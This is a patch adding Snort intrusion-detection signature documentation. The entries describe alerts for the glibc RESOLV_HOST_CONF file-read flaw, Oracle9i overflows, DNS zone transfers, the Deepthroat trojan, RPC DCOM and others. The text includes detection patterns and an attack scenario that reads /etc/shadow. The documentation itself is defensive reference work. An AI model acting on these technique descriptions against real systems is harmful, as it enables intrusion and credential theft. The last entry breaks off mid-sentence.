+++ snort-2.8.5.2/doc/signatures/714.txt
@@ -0,0 +1,90 @@
+Rule:  
+resolv_host_conf"; flow:to_server,established;
+content:"resolv_host_conf"; reference:arachnids,369;
+reference:url,www.securityfocus.com/bid/2181; classtype:attempted-admin;
+sid:714; rev:4;) 
+
+--
+
+Sid:
+
+714
+
+--
+
+Summary:
+
+The RESOLV_HOST_CONF variable is being manipulated on your Telnet host.
+
+--
+
+Impact:
+
+Elevated priviledges (file reads).
+
+--
+
+Detailed Information:
+
+The RESOLV_HOST_CONF variable, used by suid and sgid applications, isn't
+properly validated in some versions of glibc.  As a result, an attacker
+can use an suid or sgid root program to gain access to files they're not
+supposed to have.
+
+--
+
+Affected Systems:
+
+UNIX systems with unpatched glibc 2.1.x or 2.2.x implementations.
+
+--
+
+Attack Scenarios:
+
+Attacker sets the RESOLVE_HOST_CONF variable to the filename of any
+protected file (for example, /etc/shadow), and then runs an suid or sgid
+root program.  The contents of the protected file are then echoed to the
+console in a series of error messages.
+
+--
+
+Ease of Attack:
+
+Simple.
+
+--
+
+False Positives:
+
+None known.
+
+--
+
+False Negatives:
+
+None known.
+
+--
+
+Corrective Action:
+
+Install the latest vendor-supplied glibc implementation.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Gene R Gomez (gene!AT!gomezbrothers!DOT!com)
+
+-- 
+
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS369
+
+Bugtraq:
+http://www.securityfocus.com/bid/2181
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2865.txt
+++ snort-2.8.5.2/doc/signatures/2865.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2865
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_varchar2
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1948.txt
+++ snort-2.8.5.2/doc/signatures/1948.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1948
+
+--
+Summary:
+A zone transfer of records on the DNS server has been requested.
+
+A successful zone transfer can give valuable reconnaissance about hostnames and IP addresses for the domain.
+
+--
+Impact:
+Information leak, reconnaissance.  A malicious user can gain valuable 
+information about the network.
+
+
+--
+Detailed Information:
+Zone transfers are normally used to replicate zone information between 
+master and slave DNS servers.  If zone transfers have not been 
+restricted to authorized slave servers only, malicious users can attempt
+them for reconnaissance about the network.  The content |00 00 FC| looks
+for the end of a DNS query and a DNS type of 252 meaning a DNS zone 
+transfer.
+
+--
+Affected Systems:
+All versions of BIND.
+
+--
+Attack Scenarios:
+A zone transfer might be a precursor to some kind of attack to gain 
+reconnaissance.
+
+--
+Ease of Attack:
+Simple to perform using tools such as nslookup, dig, and host.
+
+
+--
+False Positives:
+Legitimate zone transfers from authorized slave servers may cause this 
+False positives may arise from TSIG DNS traffic.  If all of your slave 
+servers are in your $HOME_NET and you do not support TSIG, the 
+likelihood of false positives should be very low.
+
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Configure your DNS servers to allow zone transfers from authorized hosts
+only.  
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+CAN-1999-0532
+arachnids,212
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1591.txt
+++ snort-2.8.5.2/doc/signatures/1591.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1591
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/653.txt
+++ snort-2.8.5.2/doc/signatures/653.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+653
+
+--
+Summary:
+This event is generated when suspicious shell code is detected in
+network traffic.
+
+--
+Impact:
+Denial of Service (DoS) possible execution of arbitrary code.
+
+--
+Detailed Information:
+This event is generated when suspicious shell code is detected. Many
+buffer overflow attacks contain large numbers of NOOP instrucions to pad
+out the request. Other attacks contain specific shell code sequences
+directed at certain applications or services.
+
+The shellcode in question may also use Unicode encoding.
+
+--
+Affected Systems:
+	Any software running on x86 architecture.
+
+--
+Attack Scenarios:
+An attacker may exploit a DCERPC service by sending shellcode in the RPC
+data stream. Sending large amounts of data to the Microsoft Workstation
+service can cause a buffer overflow condition in the logging function
+thus presenting an attacker with the opportunity to issue a DoS attack
+or in some cases, to execute code of their choosing.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+False positives may be generated by binary file transfers.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Make sure the target host has all current patches applied and has the
+latest software versions installed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2449.txt
+++ snort-2.8.5.2/doc/signatures/2449.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2449
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with Ipswitch WS FTP ALLO command.
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges. A Denial of Service (DoS)
+attack may also be possible.
+
+--
+Detailed Information:
+Ipswitch WS FTP is an FTP server. A vulnerability exists with the ALLO 
+command that can cause a buffer overflow and permit the execution of 
+arbitrary commands with system privileges. The buffer overflow can be 
+caused by supplying an overly long argument to the ALLO command.
+
+--
+Affected Systems:
+	Ipswitch WS FTP Server 1.0.1 through 1.0.5, 2.0 through 2.0.4, 
+	3.0 1, 3.0, 3.1, 3.1.1, 3.1.2, 3.1.3, 3.4, 4.0 2, 4.0 1 and 4.0
+	Ipswitch WS_FTP Pro 6.0, 7.5, 8.0 3, 8.0 2
+
+--
+Attack Scenarios:
+An attacker can use one of the publicly available exploit scripts to
+cause the overflow to occur.
+
+--
+Ease of Attack:
+Simple.  Many exploits exist.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Use scp as an alternative to ftp
+
+Disallow ftp access to internal resources from external sources
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/195.txt
+++ snort-2.8.5.2/doc/signatures/195.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+195
+
+--
+Summary:
+Deepthroat is a Trojan Horse offering the attacker control of the target.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to. This Trojan also has the ability to delete data, steal passwords and disable the machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Deepthroat sever to programs normally started on boot.
+
+See also rules with sids 195, 1980, 1981, 1982 and 1983.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan. Once compromised, this Trojan grants the attacker the ability to almost completely control the target.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Systemtray
+
+Removal of the files pddt.dat and systray.exe from the Windows system directory is required.
+
+Ending the process systray.exe is also necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS106
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/deepthroat.trojan.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2577.txt
+++ snort-2.8.5.2/doc/signatures/2577.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2577
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Microsoft Internet Explorer.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible.
+
+--
+Detailed Information:
+Internet Explorer does not correctly handle the validation of data from
+an external source when processing data in a frame from a redirected
+source. This may lead to the execution of arbitrary code in the context
+of the Local Machine zone.
+
+It may be possible for an attacker to supply an HTTP 300 response from a
+webserver that points to a local file on the victim host. If the
+attacker includes code of their choosing, this code is executed in the
+context of the trusted Local Machine zone.
+
+--
+Affected Systems:
+	Microsoft Internet Explorer
+	Microsoft Outlook
+	Microsoft Outlook Express
+
+--
+Attack Scenarios:
+An attacker would need to supply an HTTP 300 series code to redirect the
+contents of a frame to a local resource on the victim host.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+A valid 300 server response that uses the Location parameter to redirect
+users to a new location may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Disable Active Scripting and ActiveX
+
+Disable the use of HTML email
+
+Use a browser other than Internet Explorer
+
+--
+Contributors:
+Original Snort documentation contributed by nnposter@users.sourceforge.net
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/925.txt
+++ snort-2.8.5.2/doc/signatures/925.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+925
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2893.txt
+++ snort-2.8.5.2/doc/signatures/2893.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2893
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_raw
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2870.txt
+++ snort-2.8.5.2/doc/signatures/2870.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2870
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_date
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1509.txt
+++ snort-2.8.5.2/doc/signatures/1509.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1509
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1221.txt
+++ snort-2.8.5.2/doc/signatures/1221.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1221
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2322.txt
+++ snort-2.8.5.2/doc/signatures/2322.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+2322
+
+--
+Summary:
+This event is generated when an attempt is made to access foxweb.dll, a 
+component of the FoxWeb CGI web application running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code of the attackers choosing.
+
+--
+Detailed Information:
+The FoxWeb application is used to communicate with FoxPro databases. The
+program foxweb.exe contains an error that may allow an attacker to
+execute arbitrary code of their choosing and possibly gain unauthorized
+administrator access to the server.
+
+--
+Affected Systems:
+	FoxWeb 2.5 and prior
+
+--
+Attack Scenarios:
+An attacker can exploit weaknesses to gain access as the administrator by supplying input of
+their choosing to the CGI program.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2564.txt
+++ snort-2.8.5.2/doc/signatures/2564.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2564
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with the Symantec Firewall.
+
+--
+Impact:
+A successful attack may cause a buffer overflow, permitting the execution
+of arbitrary code on the vulnerable host.
+
+--
+Detailed Information:
+There is a vulnerability in the way the Symantec Firewall handles NetBIOS
+Name Service response packets.  If an attacker crafts a malicious UDP NetBIOS
+Name Service unsolicited response to a vulnerable Symantec Firewall that does
+not block port 137, it is possible to cause a buffer overflow and execute
+abitrary code with kernel privileges.  The vulnerability exists because of
+improper validation of the length field value for the NetBIOS name returned.
+The default configuration does not allow UDP port 137 traffic and should
+not be exploitable if UDP port 137 is blocked.
+
+--
+Affected Systems:
+Symantec Norton Internet Security and Professional 2002,2003,2004
+Symantec Norton Personal Firewall 2002,2003,2004
+Symantec Norton AntiSpam 2004
+Symantec Client Firewall 5.01, 5.1.1
+Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
+
+--
+Attack Scenarios:
+An attacker can craft a malicious UDP NetBIOS Name Service response,
+possibly causing a buffer overflow and the subsequent execution of
+arbitrary code with kernel privileges on an exploitable host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0444
+
+Bugtraq:
+http://www.securityfocus.com/bid/10333
+
+Misc:
+http://www.eeye.com/html/Research/Advisories/AD20040512A.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000528.txt
+++ snort-2.8.5.2/doc/signatures/100000528.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000528
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "PHPMyForum" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "highlight" parameter in the "topic.php" script 
+used by the "PHPMyForum" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPMyForum
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/960.txt
+++ snort-2.8.5.2/doc/signatures/960.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+960
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+This event is generated when an attempt is made to retrieve the file
+service.stp. This file contains sensitive information concerning the
+location of other sensitive files that contain group and password
+information.
+
+--
+Affected Systems:
+	CERN and NCSA servers using Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Special FrontPage directories and Storage Locations:
+http://www.rtr.com/fpsupport/serk4.0/apndx05.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3349.txt
+++ snort-2.8.5.2/doc/signatures/3349.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3349
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1466.txt
+++ snort-2.8.5.2/doc/signatures/1466.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1466
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2797.txt
+++ snort-2.8.5.2/doc/signatures/2797.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2797
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure register_snapshot_repgroup
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/110-4.txt
+++ snort-2.8.5.2/doc/signatures/110-4.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+110-4
+
+--
+Summary:
+This event is generated when the pre-processor spp_unidecode detects
